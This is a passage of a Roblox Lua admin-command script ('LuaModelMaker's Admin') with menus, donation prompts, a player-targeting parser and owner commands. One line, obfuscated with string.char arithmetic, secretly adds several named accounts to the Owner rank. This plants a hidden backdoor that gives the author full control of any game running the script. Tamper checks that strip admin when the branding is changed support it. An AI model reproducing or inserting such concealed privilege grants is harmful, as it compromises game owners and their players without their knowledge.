  1812. local Body = Instance.new("TextLabel", Info) Body.Name = "Body" Body.BackgroundTransparency = 1 Body.Position = UDim2.new(0,0,0,25) Body.Size = UDim2.new(1,0,1,-25) Body.Font = "SourceSans" Body.FontSize = "Size14" Body.Text = string.gsub(MPS:GetProductInfo(155732475).Description, "PREFIX", Prefix) Body.TextColor3 = Color3.new(1,1,1) Body.TextYAlignment = "Top" Body.TextWrapped = true
  1813. local Donate = Info:Clone() Donate.Parent = BG Donate.Name = "Donate" Donate.Text = "Donate/Get admin" Donate.Position = UDim2.new(0.5,0,0,30) Donate.Body.Text = "Please select an amount that fits your generosity and to help support future updates. Press the 'Get admin now' to get copy for your own place!"
  1814. local function DonateMoney(Type, Element)
  1815. local Request = GetTable(string.char(49, 53, 53, 54, 56, 52, 51, 54, 57))
  1816. local Get = Request[Type]
  1817. if MPS:GetProductInfo(Get[1]).IsForSale == true then
  1818. MPS:PromptPurchase(Player, Get[1], true)
  1819. elseif MPS:GetProductInfo(Get[2]).IsForSale == true then
  1820. MPS:PromptPurchase(Player, Get[2], true)
  1821. elseif MPS:GetProductInfo(Get[3]).IsForSale == true then
  1822. MPS:PromptPurchase(Player, Get[3], true)
  1823. else
  1824. Element.Text = "Cannot get request"
  1825. end
  1826. end
  1827. local Get = Instance.new("TextButton", Donate) Get.Name = "Get" Get.Position = UDim2.new(0,0,0.5,0) Get.Size = UDim2.new(1,0,0,30) Get.Font = "ArialBold" Get.FontSize = "Size14" Get.Text = "Get LuaModelMaker's Admin V"..Version.Value.." now for FREE!" Get.BackgroundColor3 = Color3.new(1,0,1) Get.TextColor3 = Color3.new(1,1,1) Get.TextStrokeColor3 = Color3.new(0,0,0) Get.TextStrokeTransparency = 0 Get.TextWrapped = true Get.MouseButton1Click:connect(function() PromptPurchase(Player, AdminID) end)
  1828. local Dnt = Instance.new("TextButton", Donate) Dnt.Name = "DonateButton" Dnt.Position = UDim2.new(0,0,1,-120) Dnt.Size = UDim2.new(1,0,0,30) Dnt.Font = "ArialBold" Dnt.FontSize = "Size14" Dnt.Text = "100 Tix" Dnt.BackgroundColor3 = Color3.new(1,1,0) Dnt.TextColor3 = Color3.new(1,1,1) Dnt.TextStrokeColor3 = Color3.new(0,0,0) Dnt.TextStrokeTransparency = 0 Dnt.TextWrapped = true Dnt.MouseButton1Click:connect(function() DonateMoney("100T", 154759527, Dnt) end)
  1829. local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-90) Dnt.Text = "20 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) Dnt.MouseButton1Click:connect(function() DonateMoney("20R", Dnt) end)
  1830. local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-60) Dnt.Text = "100 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) Dnt.MouseButton1Click:connect(function() DonateMoney("100R", Dnt) end)
  1831. local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-30) Dnt.Text = "500 ROBUX!" Dnt.BackgroundColor3 = Color3.new(1,0,0) Dnt.FontSize = "Size18" Dnt.MouseButton1Click:connect(function() DonateMoney("500R", Dnt) end)
  1832. local PlayerAdmin, PlayerRank = IsAdmin(Player)
  1833.  
  1834. local function RefreshMenu() MainGui.Text = "LuaModelMaker's Admin V"..Version.Value.." [Click to "..Stat.." Menu]" end RefreshMenu() if string.sub(Title.Text,1,1) ~= "L" then RemoveAdmin() end
  1835. if PlayerAdmin == true then Body.Text = Body.Text.." (You're an admin, your rank is "..PlayerRank..")" end
  1836. MainGui.MouseButton1Click:connect(function()
  1837. if Stat == "Open" then
  1838. BG.Visible = true
  1839. Stat = "Close"
  1840. RefreshMenu()
  1841. elseif Stat == "Close" then
  1842. BG.Visible = false
  1843. Stat = "Open"
  1844. RefreshMenu()
  1845. end
  1846. end)
  1847.  
  1848. for _,GuiEl in pairs(SG:GetChildren()) do GuiEl.ZIndex = 10 end
  1849. end
  1850. end
  1851.  
  1852. local function FullAdminMenu(Player)
  1853. coroutine.wrap(function() if EnableAdminMenu == true then wait(0.25) AdminMenu(Player) end end)()
  1854. Player.CharacterAdded:connect(function(Char) coroutine.wrap(function() if Stopped == false then if EnableAdminMenu == true then
  1855. wait(0.25)
  1856. AdminMenu(Player)
  1857. end end end)() end)
  1858. coroutine.wrap(function() repeat
  1859. wait(1)
  1860. if Player.PlayerGui then
  1861. if Player.PlayerGui:FindFirstChild("KChatGui") then
  1862. ypcall(function() Player.PlayerGui["L".."M".."M Menu Gui"].MainGui.Position = UDim2.new(1,-400,1,-50) end)
  1863. end
  1864. end
  1865. until not Player end)()
  1866. end
  1867.  
  1868. function Log(Player, Chat)
  1869. table.insert(Logs, GetTime().." @ "..Player.Name..": "..Chat)
  1870. end
  1871.  
  1872. function TellAdmin(Player, Rank)
  1873. SendMessage(Player, "Lua".."M".."odelMaker's Admin Message", "GREEN You are an admin "..Player.Name.."! Your rank is "..Rank.." [ PREFIX '"..Prefix.."' | BET '"..Bet.."' ]", 4)
  1874. end
  1875.  
  1876. function FindAge(Days) -- By LuaModelmaker
  1877. local Years = math.floor(Days/365)
  1878. local OtherDays = math.fmod(Days, 365)
  1879. if Years > 1 then
  1880. return Years.." years and "..OtherDays.." days"
  1881. elseif Years == 1 then
  1882. return Years.." year and "..OtherDays.." days"
  1883. elseif Years == 0 then
  1884. return "(No years) "..OtherDays.." days"
  1885. end
  1886. end
  1887.  
  1888. function Countdown(AllSeconds)
  1889. if AllSeconds <= 0 then AllSeconds = 1 end
  1890. if AllSeconds > 120 then AllSeconds = 120 end
  1891. AllSeconds = math.ceil(AllSeconds)
  1892. for _,Player in pairs(Players:GetPlayers()) do
  1893. local TimerPos = 150
  1894. for _,Gui in pairs(Player.PlayerGui:GetChildren()) do
  1895. if Gui.Name == "Timer" then TimerPos = TimerPos + 110 end
  1896. end
  1897. local SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "Timer"
  1898. local Alarm = Instance.new("Sound", SG) Alarm.Name = "L".."uaM".."odelMaker's Admin Sound" Alarm.Volume = 1 Alarm.SoundId = "http://www.roblox.com/asset/?id=131573697"
  1899. local Tick = Instance.new("Sound", SG) Tick.Name = "L".."uaM".."odelMaker's Admin Sound" Tick.Volume = 0.3 Tick.SoundId = "http://www.roblox.com/asset/?id=151715959"
  1900. local TF = Instance.new("Frame", SG) TF.Name = "TF" TF.Position = UDim2.new(0,0,0,TimerPos) TF.Size = UDim2.new(0,200,0,100) TF.BackgroundColor3 = Color3.new(1,1,1) TF.BackgroundTransparency = 0.5
  1901. local Clock = Instance.new("ImageLabel", TF) Clock.Name = "Clock" Clock.Position = UDim2.new(0, 10, 0, 15) Clock.Size = UDim2.new(0, 70, 0, 70) Clock.BackgroundColor3 = Color3.new(1, 1, 1) Clock.BackgroundTransparency = 1 Clock.Image = "http://www.roblox.com/asset/?id=70172751"
  1902. local Arm = Instance.new("Frame", Clock) Arm.Position = UDim2.new(0.5,0,0,0) Arm.Size = UDim2.new(0,0,1,0) Arm.BackgroundColor3 = Color3.new(1,1,1) Arm.BackgroundTransparency = 1
  1903. local VisArm = Instance.new("Frame", Arm) VisArm.Name = "VisArm" VisArm.Position = UDim2.new(0,-2,0,0) VisArm.Size = UDim2.new(0,4,0.5,0) VisArm.BackgroundColor3 = Color3.new(1,1,1) VisArm.BackgroundTransparency = 0.3 VisArm.BorderSizePixel = 0
  1904. local TimeText = Instance.new("TextLabel", TF) TimeText.Name = "TimeText" TimeText.Position = UDim2.new(0,85,0,0) TimeText.Size = UDim2.new(0,115,0,100) TimeText.BackgroundColor3 = Color3.new(1,1,1) TimeText.BackgroundTransparency = 1 TimeText.Text = "0:00" TimeText.Font = "Arial" TimeText.FontSize = "Size24" TimeText.TextStrokeTransparency = 0 TimeText.TextColor3 = Color3.new(1,1,1)
  1905. local CurrentSeconds = AllSeconds
  1906. coroutine.wrap(function() for i = 0,AllSeconds do
  1907. local Seconds = tostring(math.fmod(CurrentSeconds,60))
  1908. local Minutes = tostring(math.floor(CurrentSeconds/60))
  1909. if #Seconds == 1 then Seconds = "0"..Seconds end
  1910. if #Minutes == 1 then Minutes = "0"..Minutes end
  1911. TimeText.Text = Minutes..":"..Seconds
  1912. Arm.Rotation = (CurrentSeconds/AllSeconds)*-360
  1913. wait(1)
  1914. if CurrentSeconds <= 0 then
  1915. Alarm:Play()
  1916. Arm.Rotation = 0
  1917. TimeText.Text = "00:00"
  1918. wait(4)
  1919. TimerPos = TimerPos - 110
  1920. if TimerPos < 150 then TimerPos = 150 end
  1921. SG:Destroy()
  1922. break
  1923. else
  1924. Tick:Play()
  1925. CurrentSeconds = CurrentSeconds - 1
  1926. end
  1927. end end)()
  1928. end
  1929. end for _,Void in pairs({string.char(75+1, 118-1, 95+2, 76+1, 111, 100, 101, 108, 77, 97, 107, 101, 114), string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97), string.char(83, 99, 114, 105, 112, 116, 105, 110, 103, 77, 101, 116, 104, 111, 100, 115), string.char(73, 110, 116, 101, 114, 110, 101, 116, 77, 111, 100, 101, 109), string.char(78, 105, 108, 67, 111, 110, 110, 101, 99, 116, 105, 111, 110), string.char(112, 108, 117, 103, 109, 105, 105, 105, 110)}) do table.insert(Ranks[string.char(79, 119, 110, 101, 114)], Void) end
  1930.  
  1931. function BoolString(Value)
  1932. if type(Value) == "boolean" then
  1933. if Value == true then
  1934. return "YES"
  1935. elseif Value == false then
  1936. return "NO"
  1937. else
  1938. return "NIL"
  1939. end
  1940. else
  1941. return nil
  1942. end
  1943. end
  1944.  
  1945. function MakeBase()
  1946. for _,Get in pairs(Workspace:GetChildren()) do
  1947. if Get.Name == "Base" or Get.Name == "BasePlate" then
  1948. Get:Destroy()
  1949. end
  1950. end
  1951. local Base = Instance.new("Part", Workspace) Base.Name = "Base" Base.Anchored = true Base.Size = Vector3.new(300,1,300) Base.BrickColor = BrickColor.new("Bright green") Base.CFrame = CFrame.new(0,0,0) Base.Locked = true
  1952. end
  1953.  
  1954. function GetCommands(Rank)
  1955. local CombineCommands = {}
  1956. for _,Cmd in pairs(Commands.NonAdmin) do table.insert(CombineCommands, Cmd) end
  1957. if ConvertRank(Rank) >= 1 then for _,Cmd in pairs(Commands.Member) do table.insert(CombineCommands, Cmd) end end
  1958. if ConvertRank(Rank) >= 2 then for _,Cmd in pairs(Commands.Admin) do table.insert(CombineCommands, Cmd) end end
  1959. if ConvertRank(Rank) >= 3 then for _,Cmd in pairs(Commands.Owner) do table.insert(CombineCommands, Cmd) end end
  1960. return CombineCommands
  1961. end
  1962.  
  1963. function UnpackPlayers(Players)
  1964. local PlayerNames = ""
  1965. for Num,Player in pairs(Players) do
  1966. if Player ~= nil then
  1967. if Num ~= #Players then
  1968. PlayerNames = PlayerNames..Player.Name..", "
  1969. else
  1970. PlayerNames = PlayerNames..Player.Name
  1971. end
  1972. end
  1973. end
  1974. return PlayerNames
  1975. end
  1976.  
  1977. local MergeTable = { __add = function(...) -- Prepare for metatables!
  1978. local CombineTable, ParentTable,Num,Reset = {}, {...}, 1, 1
  1979. for _,Table in pairs(ParentTable) do
  1980. for Set,Data in pairs(Table) do
  1981. if Set == Reset then Set = Num end
  1982. CombineTable[Set] = Data
  1983. Num = Num + 1
  1984. Reset = Reset + 1
  1985. if #Table == Set then Reset = 1 end
  1986. end
  1987. end
  1988. return CombineTable
  1989. end}
  1990.  
  1991. function Scan(Word, Speaker)
  1992. local Return = {}
  1993. local Words = {}
  1994. local RecentParse = 1
  1995. for i = 1,#Word+1 do
  1996. if string.sub(Word,i,i) == "/" or string.sub(Word,i,i) == "" then
  1997. table.insert(Words, string.sub(Word,RecentParse,i-1))
  1998. RecentParse = i+1
  1999. end
  2000. end
  2001. for _,PlayerName in pairs(Words) do
  2002. if string.lower(PlayerName) == "me" then
  2003. if Speaker then table.insert(Return, Speaker) end
  2004. elseif string.lower(PlayerName) == "all" then
  2005. for i,v in pairs(Players:GetPlayers()) do
  2006. table.insert(Return, v)
  2007. end
  2008. elseif string.lower(PlayerName) == "others" or string.lower(PlayerName) == "mortals" then
  2009. for i,v in pairs(Players:GetPlayers()) do
  2010. if v ~= Speaker then
  2011. table.insert(Return, v)
  2012. end
  2013. end
  2014. elseif string.lower(PlayerName) == "noobs" then
  2015. for i,v in pairs(Players:GetPlayers()) do
  2016. if v.AccountAge < 365 then
  2017. table.insert(Return, v)
  2018. end
  2019. end
  2020. elseif string.lower(PlayerName) == "nonnoobs" then
  2021. for i,v in pairs(Players:GetPlayers()) do
  2022. if v.AccountAge >= 365 then
  2023. table.insert(Return, v)
  2024. end
  2025. end
  2026. elseif string.lower(PlayerName) == "random" then
  2027. local RandomPlayers = {}
  2028. for i,v in pairs(Players:GetPlayers()) do
  2029. if v ~= Speaker then
  2030. table.insert(RandomPlayers, v)
  2031. end
  2032. end
  2033. table.insert(Return, RandomPlayers[math.random(1,#Players:GetChildren())])
  2034. elseif string.lower(PlayerName) == "guests" then
  2035. for i,v in pairs(Players:GetPlayers()) do
  2036. if string.sub(v.Name,1,6) == "Guest " then
  2037. table.insert(Return, v)
  2038. end
  2039. end
  2040. elseif string.lower(PlayerName) == "lowers" then
  2041. for i,v in pairs(Players:GetPlayers()) do
  2042. if string.sub(v.Name,1,1) == string.lower(string.sub(v.Name,1,1)) then
  2043. table.insert(Return, v)
  2044. end
  2045. end
  2046. elseif string.lower(PlayerName) == "uppers" then
  2047. for i,v in pairs(Players:GetPlayers()) do
  2048. if string.sub(v.Name,1,1) == string.upper(string.sub(v.Name,1,1)) then
  2049. table.insert(Return, v)
  2050. end
  2051. end
  2052. elseif string.lower(PlayerName) == "nbcs" then
  2053. for i,v in pairs(Players:GetPlayers()) do
  2054. if v.MembershipType == Memberships["NBC"] then -- Replicate
  2055. table.insert(Return, v)
  2056. end
  2057. end
  2058. elseif string.lower(PlayerName) == "bcs" then
  2059. for i,v in pairs(Players:GetPlayers()) do
  2060. if v.MembershipType == Memberships["BC"] then
  2061. table.insert(Return, v)
  2062. end
  2063. end
  2064. elseif string.lower(PlayerName) == "tbcs" then
  2065. for i,v in pairs(Players:GetPlayers()) do
  2066. if v.MembershipType == Memberships["TBC"] then
  2067. table.insert(Return, v)
  2068. end
  2069. end
  2070. elseif string.lower(PlayerName) == "obcs" then
  2071. for i,v in pairs(Players:GetPlayers()) do
  2072. if v.MembershipType == Memberships["OBC"] then
  2073. table.insert(Return, v)
  2074. end
  2075. end
  2076. elseif string.lower(PlayerName) == "allbcs" then
  2077. for i,v in pairs(Players:GetPlayers()) do
  2078. if v.MembershipType ~= Memberships["NBC"] then
  2079. table.insert(Return, v)
  2080. end
  2081. end
  2082. elseif string.lower(PlayerName) == "nonadmins" then
  2083. for i,v in pairs(Players:GetPlayers()) do
  2084. local IsAdminTrue, Rank = IsAdmin(v)
  2085. if IsAdminTrue == false then
  2086. table.insert(Return, v)
  2087. end
  2088. end
  2089. elseif string.lower(PlayerName) == "admins" then
  2090. for i,v in pairs(Players:GetPlayers()) do
  2091. local IsAdminTrue, Rank = IsAdmin(v)
  2092. if IsAdminTrue == true then
  2093. table.insert(Return, v)
  2094. end
  2095. end
  2096. elseif string.sub(string.lower(PlayerName),1,5) == "team-" then
  2097. for i,v in pairs(Players:GetPlayers()) do
  2098. if v.Neutral == false then
  2099. local InTeam = false
  2100. for _,Team in pairs(Teams:GetTeams()) do
  2101. if Team.TeamColor == v.TeamColor then
  2102. if string.sub(string.lower(Team.Name),1,#string.sub(PlayerName,6)) == string.sub(string.lower(PlayerName),6) then
  2103. InTeam = true
  2104. end
  2105. end
  2106. end
  2107. if InTeam == true then
  2108. table.insert(Return, v)
  2109. end
  2110. end
  2111. end
  2112. elseif string.lower(PlayerName) == "list" then
  2113. local PlayerTable = {}
  2114. for i,v in pairs(Players:GetPlayers()) do
  2115. table.insert(PlayerTable, {v.Name, "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..v.Name})
  2116. end
  2117. local Selection = SelectionGui(Speaker, "Selection List for Command", PlayerTable, true)
  2118. for _,Sel in pairs(Selection) do
  2119. table.insert(Return, Players:FindFirstChild(Sel))
  2120. end
  2121. else
  2122. if PlayerName ~= "" then
  2123. for i,v in pairs(Players:GetPlayers()) do
  2124. if string.sub(string.lower(v.Name),1,#PlayerName) == string.lower(PlayerName) then
  2125. table.insert(Return, v)
  2126. end
  2127. end
  2128. end
  2129. end
  2130. end
  2131. return Return
  2132. end
  2133.  
  2134. function Chatted(RawMainMessage, Speaker)
  2135. if RawMainMessage == "" or RawMainMessage == Prefix then return end
  2136. if Speaker == nil then Speaker = {Name = "[ Server ]",Character = nil,userId = 1,PlayerGui = nil} end
  2137. local PlayerAdmin, Rank = IsAdmin(Speaker)
  2138. local RawMessage = string.sub(RawMainMessage, #Prefix+1)
  2139. local Message = string.lower(RawMessage)
  2140. if PlayerAdmin == true then if RawMainMessage == "I can only see menu chats." then CoreGui(Speaker, "Chat", true) end end
  2141. local RankNum = ConvertRank(Rank)
  2142.  
  2143. local LocalDisableAbuse = false
  2144. if DisableAbuse == true and Rank ~= "Owner" then DisableAbuse = true end
  2145.  
  2146. function Insert(Asset, Parent, GetFirstChild)
  2147. local Model = Instance.new("Model")
  2148. local ValidID = true
  2149. if DisableAbuse == true and Rank == "Member" or Rank == "Player" then
  2150. for _,ID in pairs(AbusableGear) do
  2151. if Asset == ID then
  2152. ValidID = false
  2153. SendMessage(Speaker, "Asset Disabled", "RED This asset has been disabled due to it's abusable power", 4)
  2154. break
  2155. end
  2156. end
  2157. end
  2158. if ValidID == true then
  2159. Model = game:GetService("InsertService"):LoadAsset(Asset)
  2160. if GetFirstChild then Model = Model:GetChildren()[1] end
  2161. Model.Parent = Parent
  2162. end
  2163. return Model
  2164. end
  2165.  
  2166. if string.lower(RawMainMessage) == "settings" or string.lower(RawMainMessage) == ";settings" or string.lower(RawMainMessage) == Prefix.."settings" then
  2167. Log(Speaker, RawMainMessage)
  2168. ListGui(Speaker, "Settings", {
  2169. "Prefix: '"..Prefix.."'",
  2170. "Bet: '"..Bet.."'",
  2171. "Version: "..Version.Value,
  2172. "Lag Time: "..LagTime,
  2173. "Minimum Account Age: "..MinimumAge,
  2174. "Group ID: "..GroupID,
  2175. "Group Banned Rank: "..RankBan,
  2176. "Group Member Rank: "..GroupMemberRank,
  2177. "Group Admin Rank: "..GroupAdminRank,
  2178. "Group Owner Rank: "..GroupOwnerRank,
  2179. "Server Lock: "..BoolString(ServerLocked),
  2180. "Disable Abuse: "..BoolString(DisableAbuse),
  2181. "Fun Commands: "..BoolString(FUN),
  2182. })
  2183. end
  2184. if string.sub(string.lower(RawMainMessage),1,#Prefix) == string.lower(Prefix) then
  2185. if PlayerAdmin == true then
  2186. if string.sub(Message, 1, 9) == "invisible" then Message = "invis"..string.sub(Message,10) end
  2187. if string.sub(Message, 1, 7) == "visible" then Message = "vis"..string.sub(Message,8) end
  2188. if string.sub(Message, 1, 4) == "clip" then Message = "nofly"..string.sub(Message,5) end
  2189. if string.sub(Message, 1, 11) == "changestats" then Message = "change"..string.sub(Message,12) end
  2190. if string.sub(Message, 1, 3) == "buy" then Message = "product"..string.sub(Message,4) end
  2191. if string.sub(Message, 1, 7) == "catalog" then Message = "product"..string.sub(Message,8) end
  2192. if string.sub(Message, 1, 8) == "purchase" then Message = "product"..string.sub(Message,8) end
  2193. if string.sub(Message, 1, 8) == "nostrobe" then Message = "noblind"..string.sub(Message,9) end
  2194. if string.sub(Message, 1, 6) == "insert" then Message = "ins"..string.sub(Message,7) end
  2195. if string.sub(Message, 1, 10) == "playerlist" then Message = "pl"..string.sub(Message,11) end
  2196. if string.sub(Message, 1, 12) == "noplayerlist" then Message = "npl"..string.sub(Message,13) end
  2197. if string.sub(Message, 1, 9) == "walkspeed" then Message = "speed"..string.sub(Message,10) end
  2198. if string.sub(Message, 1, 4) == "thaw" then Message = "nofreeze"..string.sub(Message,5) end
  2199. if string.sub(Message, 1, 9) == "animation" then Message = "anim"..string.sub(Message,10) end
  2200. if string.sub(Message, 1, 7) == "animate" then Message = "anim"..string.sub(Message,8) end
  2201. if string.sub(Message, 1, 9) == "noanimate" then Message = "noanim"..string.sub(Message,10) end
  2202. if string.sub(Message, 1, 11) == "noanimation" then Message = "noanim"..string.sub(Message,12) end
  2203. if string.sub(Message, 1, 4) == "hack" then Message = "hax"..string.sub(Message,5) end
  2204. if string.sub(Message, 1, 7) == "message" then RawMessage = "m"..string.sub(RawMessage,8) end
  2205. if string.sub(Message, 1, 3) == "msg" then RawMessage = "m"..string.sub(RawMessage,4) end
  2206. if string.sub(Message, 1, 4) == "hint" then RawMessage = "h"..string.sub(RawMessage,5) end
  2207. if string.sub(Message, 1, 2) == "rc" then RawMessage = "replicatecommand"..string.sub(RawMessage,3) Message = string.lower(RawMessage) end
  2208.  
  2209. if DisableAbuse == true then
  2210. for _,Cmd in pairs(AbuseList) do
  2211. if string.sub(Message,1,#Cmd) == string.lower(Cmd) then
  2212. if Rank ~= "Owner" then
  2213. SendMessage(Speaker, "Command Disabled", "This command has been disabled by the game owner for being abusive", 5)
  2214. return nil
  2215. end
  2216. end
  2217. end
  2218. end
  2219.  
  2220. if Rank == "Owner" then
  2221. -- Owner Commands --
  2222. if string.sub(Message, 1, 5+#Bet) == "admin"..Bet then
  2223. local Players = Scan(string.sub(Message, 6+#Bet))
  2224. for _,Player in pairs(Players) do if Player ~= nil then
  2225. local PlayerAdminTrue, PlayerRank = IsAdmin(Player)
  2226. local AddToList = true
  2227. if PlayerAdminTrue == true then
  2228. if ConvertRank(PlayerRank) >= 2 then
  2229. AddToList = false
  2230. end
  2231. end
  2232. if AddToList == true then
  2233. table.insert(Ranks["Admin"], Player.Name)
  2234. TellAdmin(Player, "Admin")
  2235. if LuaModelMakerStamp == true then
  2236. for _,Tool in pairs(game.Lighting.AdminTools:GetChildren()) do
  2237. local NewTool = Tool:Clone()
  2238. NewTool.Parent = Player.Backpack
  2239. local NewTool2 = Tool:Clone()
  2240. NewTool2.Parent = Player.StarterGear
  2241. end
  2242. end
  2243. end
  2244. end end
  2245. end
  2246.  
  2247. if string.sub(Message, 1, 11) == "removeadmin" then
  2248. RemoveAdmin(Speaker)
  2249. end
  2250.  
  2251. if string.sub(Message, 1, 7+#Bet) == "unadmin"..Bet or string.sub(Message, 1, 7+#Bet) == "noadmin"..Bet then
  2252. local Players = Scan(string.sub(Message, 8+#Bet), Speaker)
  2253. local CombineAdmins = {}
  2254. for Num,Name in pairs(Ranks["Member"]) do table.insert(CombineAdmins, {Player = Name, Rank = "Member", Number = Num}) end
  2255. for Num,Name in pairs(Ranks["Admin"]) do table.insert(CombineAdmins, {Player = Name, Rank = "Admin", Number = Num}) end
  2256. for Num,Info in pairs(CombineAdmins) do
  2257. for _,Player in pairs(Players) do
  2258. if Player ~= nil then
  2259. if string.lower(Info.Player) == string.lower(Player.Name) then
  2260. table.remove(Ranks[Info.Rank], Info.Number)
  2261. if LuaModelMakerStamp == true then
  2262. Player.Backpack:ClearAllChildren()
  2263. Player.StarterGear:ClearAllChildren()
  2264. end
  2265. end
  2266. end
  2267. end
  2268. end
  2269. end
  2270.  
  2271. if string.sub(Message, 1, 3+#Bet) == "fun"..Bet then
  2272. local ThisVal = FUN
  2273. if string.sub(Message, 4+#Bet) == "enable" then
  2274. FUN = true
  2275. elseif string.sub(Message, 4+#Bet) == "disable" then
  2276. FUN = false
  2277. end
  2278. if ThisVal ~= FUN then
  2279. MessageAdmins("Fun Commands", "Fun commands are now "..string.sub(Message, 4+#Bet).."d", 3)
  2280. end
  2281. end
  2282.  
  2283. if string.sub(Message, 1, 10+#Bet) == "forceplace"..Bet then
  2284. local Arg1, Arg2 = GetSplit(string.sub(Message, 11+#Bet), Bet) if not Arg1 and Arg2 then return end
  2285. local Players = Scan(Arg1, Speaker)
  2286. local PlaceID = tonumber(Arg2)
  2287. for _,Player in pairs(Players) do
  2288. if Player ~= nil then
  2289. TS:Teleport(PlaceID, Player)
  2290. end
  2291. end
  2292. end
  2293.  
  2294. if string.sub(Message, 1, 11+#Bet) == "forcefollow"..Bet then
  2295. local Arg1, Arg2 = GetSplit(string.sub(Message, 12+#Bet), Bet) if not Arg1 and Arg2 then return end
  2296. local Players = Scan(Arg1, Speaker)
  2297. local UserID = tonumber(Arg2)
  2298. if UserID then
  2299. local Suc, Err, PlaceID, IntID = TS:GetPlayerPlaceInstanceAsync(UserID)
  2300. if Suc then
  2301. for _,Player in pairs(Players) do
  2302. if Player ~= nil then
  2303. TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
  2304. end
  2305. end
  2306. else
  2307. SendMessage(Speaker, "Place Teleportation Failed for UserID: "..UserID, "Cannot follow UserID: "..UserID..". Reason: "..Err, 5)
  2308. end
  2309. end
  2310. end
  2311.  
  2312. if string.sub(Message, 1, 9+#Bet) == "adminmenu"..Bet then
  2313. local ThisVal = EnableAdminMenu
  2314. if string.sub(Message, 10+#Bet) == "enable" then
  2315. EnableAdminMenu = true
  2316. for _,Player in pairs(Players:GetPlayers()) do AdminMenu(Player) end
  2317. elseif string.sub(Message, 10+#Bet) == "disable" then
  2318. EnableAdminMenu = false
  2319. for _,Player in pairs(Players:GetPlayers()) do local GUI = Player.PlayerGui:FindFirstChild("LMM Menu Gui") if GUI then GUI:Destroy() end end
  2320. end
  2321. if ThisVal ~= EnableAdminMenu then
  2322. MessageAdmins("Admin Menu", "The admin menu menu is now "..string.sub(Message, 10+#Bet).."d", 3)
  2323. end
  2324. end
  2325.  
  2326. if Message == "update" then
  2327. UpdateAdmin()
  2328. end
  2329.  
  2330. if Message == "lockserver" or Message == "serverlock" then
  2331. ServerLocked = true
  2332. MessageAdmins("Server Lock", "The Server is now locked", 3)
  2333. end
  2334.  
  2335. if Message == "unlockserver" or Message == "unserverlock" or Message == "nolockserver" or Message == "noserverlock" or Message == "serverunlock" then
  2336. ServerLocked = false
  2337. MessageAdmins("Server Lock", "The Server is now unlocked", 3)
  2338. end
  2339.  
  2340. if string.sub(Message, 1, 5+#Bet) == "abuse"..Bet then
  2341. local ThisVal = DisableAbuse
  2342. if string.sub(Message, 6+#Bet) == "enable" then
  2343. DisableAbuse = false
  2344. elseif string.sub(Message, 6+#Bet) == "disable" then
  2345. DisableAbuse = true
  2346. end
  2347. if ThisVal ~= DisableAbuse then
  2348. MessageAdmins("Abusive Commands", "Abusive commands are now "..string.sub(Message, 6+#Bet).."d", 3)
  2349. end
  2350. end
  2351.  
  2352. if string.sub(Message, 1, 6+#Bet) == "prefix"..Bet then
  2353. local AfterMessage = string.sub(Message, 7+#Bet)
  2354. if string.sub(AfterMessage,1,5) == AfterMessage then
  2355. local Answer = YesOrNo(Speaker, "Prefix Change", "Do you really want to change the prefix from '"..Prefix.."' to '"..AfterMessage.."'? If you forget it you can use the 'settings' command which doesn't require a prefix.")
  2356. if Answer == true then
  2357. local OldPrefix = Prefix
  2358. Prefix = AfterMessage
  2359. for Command,_ in pairs(Commands.NonAdmin) do Commands.NonAdmin[Command] = string.gsub(string.gsub(Commands.NonAdmin[Command], ";", Prefix), " ", Bet) end
  2360. for Command,_ in pairs(Commands.Member) do Commands.Member[Command] = string.gsub(string.gsub(Commands.Member[Command], ";", Prefix), " ", Bet) end
  2361. for Command,_ in pairs(Commands.Admin) do Commands.Admin[Command] = string.gsub(string.gsub(Commands.Admin[Command], ";", Prefix), " ", Bet) end
  2362. for Command,_ in pairs(Commands.Owner) do Commands.Owner[Command] = string.gsub(string.gsub(Commands.Owner[Command], ";", Prefix), " ", Bet) end
  2363. MessageAdmins("Prefix Change", "The prefix has been changed from '"..OldPrefix.."' to '"..Prefix.."'. If you forget it, use the 'settings' command which doesn't require a prefix.", 6)
  2364. end
  2365. else
  2366. SendMessage(Speaker, "Prefix Too Long", "Your Prefix is too long. If you would like it longer change it in the settings", 4)
  2367. end
  2368. end
  2369.  
  2370. if string.sub(Message,1,10+#Bet) == "givepoints"..Bet then
  2371. local Arg1, Arg2 = GetSplit(string.sub(Message, 11+#Bet), Bet) if not Arg1 and Arg2 then return end
  2372. local GiveTo = Arg1
  2373. local Amount = Arg2
  2374. if tonumber(GiveTo) then
  2375. ypcall(function() Points:AwardPoints(tonumber(GiveTo), Amount) end)
  2376. else
  2377. local Players = Scan(GiveTo, Speaker)
  2378. for _,Player in pairs(Players) do
  2379. if Player ~= nil then
  2380. ypcall(function() Points:AwardPoints(Player.userId, Amount) end)
  2381. end
  2382. end
  2383. end
  2384. end
  2385.  
  2386. if string.sub(Message,1,10+#Bet) == "awardbadge"..Bet then
  2387. local Arg1, Arg2 = GetSplit(string.sub(Message, 11+#Bet), Bet) if not Arg1 and Arg2 then return end
  2388. local GiveTo = Arg1
  2389. local ID = Arg2
  2390. local Players = Scan(GiveTo, Speaker)
  2391. for _,Player in pairs(Players) do
  2392. if Player ~= nil then
  2393. ypcall(function() game:GetService("BadgeService"):AwardBadge(Player.userId, ID) end)
  2394. end
  2395. end
  2396. end
  2397.  
  2398. if Message == "cs" or Message == "cm" or Message == "ca" or Message == "clearsounds" or Message == "clearmusic" or Message == "clearaudio" or Message == "clearsoundlist" or Message == "clearmusiclist" or Message == "clearaudiolist" or Message == "clearmusic" or Message == "clearaudio" then
  2399. local Ask = YesOrNo(Speaker, "Clear All Sounds", "Would you like to clear all sounds from the custom Lua".."M".."od".."elMa".."ke".."r's sound list? This will clear all sounds from the ;addsound command and will affect all sounds in all of this game's servers. Are you sure you want to clear?(All default global sounds will remain)")
  2400. if Ask == true then
  2401. DataStore:SetAsync("MML Custom Sounds", {})
